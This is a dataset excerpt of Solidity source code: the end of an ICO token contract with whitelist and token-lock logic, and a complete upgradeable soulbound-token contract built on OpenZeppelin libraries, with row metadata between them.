function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract WhiteListManager is Ownable {
// The list here will be updated by multiple separate WhiteList contracts
mapping (address => bool) public list;
function unset(address addr) public onlyOwner {
list[addr] = false;
}
function unsetMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
unset(addrList[i]);
}
}
function set(address addr) public onlyOwner {
list[addr] = true;
}
function setMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
set(addrList[i]);
}
}
function isWhitelisted(address addr) public view returns (bool) {
return list[addr];
}
}
contract ShareToken is ERC20Token, WhiteListManager {
using SafeMath for uint256;
string public constant name = "ShareToken";
string public constant symbol = "SHR";
uint8 public constant decimals = 2;
address public icoContract;
// Any token amount must be multiplied by this const to reflect decimals
uint256 constant E2 = 10**2;
mapping(address => bool) public rewardTokenLocked;
bool public mainSaleTokenLocked = true;
uint256 public constant TOKEN_SUPPLY_MAINSALE_LIMIT = 1000000000 * E2; // 1,000,000,000 tokens (1 billion)
uint256 public constant TOKEN_SUPPLY_AIRDROP_LIMIT = 6666666667; // 66,666,666.67 tokens (0.066 billion)
uint256 public constant TOKEN_SUPPLY_BOUNTY_LIMIT = 33333333333; // 333,333,333.33 tokens (0.333 billion)
uint256 public airDropTokenIssuedTotal;
uint256 public bountyTokenIssuedTotal;
uint256 public constant TOKEN_SUPPLY_SEED_LIMIT = 500000000 * E2; // 500,000,000 tokens (0.5 billion)
uint256 public constant TOKEN_SUPPLY_PRESALE_LIMIT = 2500000000 * E2; // 2,500,000,000.00 tokens (2.5 billion)
uint256 public constant TOKEN_SUPPLY_SEED_PRESALE_LIMIT = TOKEN_SUPPLY_SEED_LIMIT + TOKEN_SUPPLY_PRESALE_LIMIT;
uint256 public seedAndPresaleTokenIssuedTotal;
uint8 private constant PRESALE_EVENT = 0;
uint8 private constant MAINSALE_EVENT = 1;
uint8 private constant BOUNTY_EVENT = 2;
uint8 private constant AIRDROP_EVENT = 3;
function ShareToken() public {
totalTokenIssued = 0;
airDropTokenIssuedTotal = 0;
bountyTokenIssuedTotal = 0;
seedAndPresaleTokenIssuedTotal = 0;
mainSaleTokenLocked = true;
}
function unlockMainSaleToken() public onlyOwner {
mainSaleTokenLocked = false;
}
function lockMainSaleToken() public onlyOwner {
mainSaleTokenLocked = true;
}
function unlockRewardToken(address addr) public onlyOwner {
rewardTokenLocked[addr] = false;
}
function unlockRewardTokenMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
unlockRewardToken(addrList[i]);
}
}
function lockRewardToken(address addr) public onlyOwner {
rewardTokenLocked[addr] = true;
}
function lockRewardTokenMany(address[] addrList) public onlyOwner {
for (uint256 i = 0; i < addrList.length; i++) {
lockRewardToken(addrList[i]);
}
}
// Check if a given address is locked. The address can be in the whitelist or in the reward
function isLocked(address addr) public view returns (bool) {
// Main sale is running, any addr is locked
if (mainSaleTokenLocked) {
return true;
} else {
// Main sale is ended and thus any whitelist addr is unlocked
if (isWhitelisted(addr)) {
return false;
} else {
// If the addr is in the reward, it must be checked if locked
// If the addr is not in the reward, it is considered unlocked
return rewardTokenLocked[addr];
}
}
}
function totalSupply() public view returns (uint256) {
return totalTokenIssued.add(seedAndPresaleTokenIssuedTotal).add(airDropTokenIssuedTotal).add(bountyTokenIssuedTotal);
}
function totalMainSaleTokenIssued() public view returns (uint256) {
return totalTokenIssued;
}
function totalMainSaleTokenLimit() public view returns (uint256) {
return TOKEN_SUPPLY_MAINSALE_LIMIT;
}
function totalPreSaleTokenIssued() public view returns (uint256) {
return seedAndPresaleTokenIssuedTotal;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(isLocked(msg.sender) == false);
require(isLocked(_to) == false);
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(isLocked(_from) == false);
require(isLocked(_to) == false);
return super.transferFrom(_from, _to, _amount);
}
function setIcoContract(address _icoContract) public onlyOwner {
// Allow to set the ICO contract only once
require(icoContract == address(0));
require(_icoContract != address(0));
icoContract = _icoContract;
}
function sell(address buyer, uint256 tokens) public returns (bool success) {
require (icoContract != address(0));
// The sell() method can only be called by the fixedly-set ICO contract
require (msg.sender == icoContract);
require (tokens > 0);
require (buyer != address(0));
// Only whitelisted address can buy tokens. Otherwise, refund
require (isWhitelisted(buyer));
require (totalTokenIssued.add(tokens) <= TOKEN_SUPPLY_MAINSALE_LIMIT);
// Register tokens issued to the buyer
balances[buyer] = balances[buyer].add(tokens);
// Update total amount of tokens issued
totalTokenIssued = totalTokenIssued.add(tokens);
emit Transfer(address(MAINSALE_EVENT), buyer, tokens);
return true;
}
function rewardAirdrop(address _to, uint256 _amount) public onlyOwner {
// this check also ascertains _amount is positive
require(_amount <= TOKEN_SUPPLY_AIRDROP_LIMIT);
require(airDropTokenIssuedTotal < TOKEN_SUPPLY_AIRDROP_LIMIT);
uint256 remainingTokens = TOKEN_SUPPLY_AIRDROP_LIMIT.sub(airDropTokenIssuedTotal);
if (_amount > remainingTokens) {
_amount = remainingTokens;
}
// Register tokens to the receiver
balances[_to] = balances[_to].add(_amount);
// Update total amount of tokens issued
airDropTokenIssuedTotal = airDropTokenIssuedTotal.add(_amount);
// Lock the receiver
rewardTokenLocked[_to] = true;
emit Transfer(address(AIRDROP_EVENT), _to, _amount);
}
function rewardBounty(address _to, uint256 _amount) public onlyOwner {
// this check also ascertains _amount is positive
require(_amount <= TOKEN_SUPPLY_BOUNTY_LIMIT);
require(bountyTokenIssuedTotal < TOKEN_SUPPLY_BOUNTY_LIMIT);
uint256 remainingTokens = TOKEN_SUPPLY_BOUNTY_LIMIT.sub(bountyTokenIssuedTotal);
if (_amount > remainingTokens) {
_amount = remainingTokens;
}
// Register tokens to the receiver
balances[_to] = balances[_to].add(_amount);
// Update total amount of tokens issued
bountyTokenIssuedTotal = bountyTokenIssuedTotal.add(_amount);
// Lock the receiver
rewardTokenLocked[_to] = true;
emit Transfer(address(BOUNTY_EVENT), _to, _amount);
}
function rewardBountyMany(address[] addrList, uint256[] amountList) public onlyOwner {
require(addrList.length == amountList.length);
for (uint256 i = 0; i < addrList.length; i++) {
rewardBounty(addrList[i], amountList[i]);
}
}
function rewardAirdropMany(address[] addrList, uint256[] amountList) public onlyOwner {
require(addrList.length == amountList.length);
for (uint256 i = 0; i < addrList.length; i++) {
rewardAirdrop(addrList[i], amountList[i]);
}
}
function handlePresaleToken(address _to, uint256 _amount) public onlyOwner {
require(_amount <= TOKEN_SUPPLY_SEED_PRESALE_LIMIT);
require(seedAndPresaleTokenIssuedTotal < TOKEN_SUPPLY_SEED_PRESALE_LIMIT);
uint256 remainingTokens = TOKEN_SUPPLY_SEED_PRESALE_LIMIT.sub(seedAndPresaleTokenIssuedTotal);
require (_amount <= remainingTokens);
// Register tokens to the receiver
balances[_to] = balances[_to].add(_amount);
// Update total amount of tokens issued
seedAndPresaleTokenIssuedTotal = seedAndPresaleTokenIssuedTotal.add(_amount);
emit Transfer(address(PRESALE_EVENT), _to, _amount);
// Also add to whitelist
set(_to);
}
function handlePresaleTokenMany(address[] addrList, uint256[] amountList) public onlyOwner {
require(addrList.length == amountList.length);
for (uint256 i = 0; i < addrList.length; i++) {
handlePresaleToken(addrList[i], amountList[i]);
}
}
}
| 222,551 | 298 |
c3bc04980af545109ab4466df7aebad236c1227924083d2aa91017f8b902fbe4
| 43,272 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/7f/7f747b279855a382d02cde2143ef25ac6937a1ea_SBT.sol
| 4,733 | 19,396 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
// OpenZeppelin Contracts (last updated v4.8.0) (proxy/utils/UUPSUpgradeable.sol)
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822ProxiableUpgradeable {
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeaconUpgradeable {
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}
// OpenZeppelin Contracts (last updated v4.8.1) (proxy/utils/Initializable.sol)
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
function _getInitializedVersion() internal view returns (uint8) {
return _initialized;
}
function _isInitializing() internal view returns (bool) {
return _initializing;
}
}
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal onlyInitializing {
}
function __ERC1967Upgrade_init_unchained() internal onlyInitializing {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal onlyInitializing {
}
function __UUPSUpgradeable_init_unchained() internal onlyInitializing {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
modifier notDelegated() {
require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall");
_;
}
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
return _IMPLEMENTATION_SLOT;
}
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, data, true);
}
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
modifier whenNotPaused() {
_requireNotPaused();
_;
}
modifier whenPaused() {
_requirePaused();
_;
}
function paused() public view virtual returns (bool) {
return _paused;
}
function _requireNotPaused() internal view virtual {
require(!paused(), "Pausable: paused");
}
function _requirePaused() internal view virtual {
require(paused(), "Pausable: not paused");
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
interface ISBT {
error NotMinted();
error AlreadyMinted();
error NotAuthorizedToRevoke();
error InvalidUserType();
error NotOwner();
error ZeroAddress();
event OwnershipTransferred(address indexed _from, address indexed _to);
event Transfer(address indexed from,
address indexed to,
uint256 indexed id);
function initialize(string memory _name,
string memory _symbol,
address _contractOwner) external;
function userType(address user) external view returns (uint256);
function contractOwner() external view returns (address);
function tokenURI(uint256 id) external view returns (string memory);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function ownerOf(uint256 id) external view returns (address);
function mint(address _to, string calldata _uri, uint256 _type) external;
function burn(uint256 _id) external;
function transferOwnership(address _newOwner) external;
function getImplementation() external view returns (address);
function pause() external;
function unpause() external;
}
contract SBT is Initializable, PausableUpgradeable, UUPSUpgradeable, ISBT {
string public name;
string public symbol;
address public contractOwner;
uint96 private _tokenIdCounter;
mapping(uint256 => string) public tokenURI;
mapping(uint256 => address) public ownerOf;
/// This is the mapping that will be used to store the user type of each user.
/// 1 = Auditor
/// 2 = Platform
mapping(address => uint256) public userType;
function initialize(string memory _name,
string memory _symbol,
address _contractOwner) public initializer {
_tokenIdCounter = 1;
contractOwner = _contractOwner;
name = _name;
symbol = _symbol;
__Pausable_init();
__UUPSUpgradeable_init();
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
/// @notice modifier to check if the user type is valid
/// @param _type the type of the user
modifier validateType(uint256 _type) {
if (_type != 1 && _type != 2) revert InvalidUserType();
_;
}
/// @notice modifier to check if the user is authorized to revoke a token
/// @param id the id of the token to revoke
modifier onlyRevokeAuthorized(uint256 id) {
if (contractOwner != msg.sender && ownerOf[id] != msg.sender)
revert NotAuthorizedToRevoke();
_;
}
/// @notice modifier to check if the user is the owner of the contract
modifier onlyOwner() {
if (contractOwner != msg.sender) revert NotOwner();
_;
}
/// @notice method to mint a new token
/// @param _to the address to mint the token to
/// @param _uri the URI that holds the metadata for the token
/// @param _type the type of the user
function mint(address _to,
string calldata _uri,
uint256 _type) external validateType(_type) whenNotPaused onlyOwner {
if (userType[_to] != 0) revert AlreadyMinted();
uint256 id = _tokenIdCounter;
tokenURI[id] = _uri;
userType[_to] = _type;
_mint(_to, id);
unchecked {
++_tokenIdCounter;
}
}
/// @notice method to burn a SBT
/// @param _id the id of the token to burn
function burn(uint256 _id) external whenNotPaused onlyRevokeAuthorized(_id) {
//solhint-disable-next-line var-name-mixedcase
address SBTOwner = ownerOf[_id];
if (SBTOwner == address(0)) revert NotMinted();
delete ownerOf[_id];
delete tokenURI[_id];
delete userType[SBTOwner];
emit Transfer(SBTOwner, address(0), _id);
}
function transferOwnership(address _newOwner) external whenNotPaused onlyOwner {
contractOwner = _newOwner;
emit OwnershipTransferred(contractOwner, _newOwner);
}
//solhint-disable-next-line no-empty-blocks
function _authorizeUpgrade(address) internal override onlyOwner {}
function getImplementation() external view returns (address) {
return _getImplementation();
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function _mint(address to, uint256 id) internal {
if (to == address(0)) revert ZeroAddress();
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
}
| 51,927 | 299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.